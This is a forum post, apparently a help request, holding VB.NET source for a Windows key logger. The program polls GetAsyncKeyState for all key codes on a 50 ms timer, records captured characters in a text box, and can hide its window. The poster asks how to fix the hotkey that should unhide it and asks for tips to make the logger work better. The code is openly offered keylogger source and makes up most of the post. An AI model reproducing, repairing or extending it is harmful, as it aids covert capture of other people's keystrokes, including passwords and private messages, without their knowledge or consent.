- Code: Select all
Option Strict Off
Public Class Form1
'Place a timer and a richtextbox onto the form
Public Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Int32) As Integer
Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) _
Handles MyBase.Load
Timer1.Enabled = True
Timer1.Interval = 50
End Sub
Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) _
Handles Timer1.Tick
For i As Integer = 1 To 255
If GetAsyncKeyState(i) = -32767 Then RichTextBox1.Text += Chr(i)
Next i
End Sub
Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
RichTextBox1.Text = ""
End Sub
Private Sub Button2_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button2.Click
Me.Hide()
End Sub
Private Sub Button3_keyup(ByVal sender As Object, ByVal e As System.Windows.Forms.KeyEventArgs) Handles Me.KeyUp
End Sub
Private Sub form1_keyup()
End Sub
Private Sub Form1_lostfocus(ByVal sender As System.Object, ByVal e As System.Windows.Forms.KeyEventArgs) Handles MyBase.KeyUp
If e.KeyCode = Keys.F4 AndAlso e.Shift Then Button2.PerformClick()
End Sub
Private Sub Button3_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button3.Click
Me.Show()
End Sub
End Class
this is a code I'm using for my key logger and when i hit (button2)the hide button the program hides fine but when i try to use keys to open it again i cant seem to get it to work anyone know whats wrong with it?
and if anyone has any tips to make it work better please post them


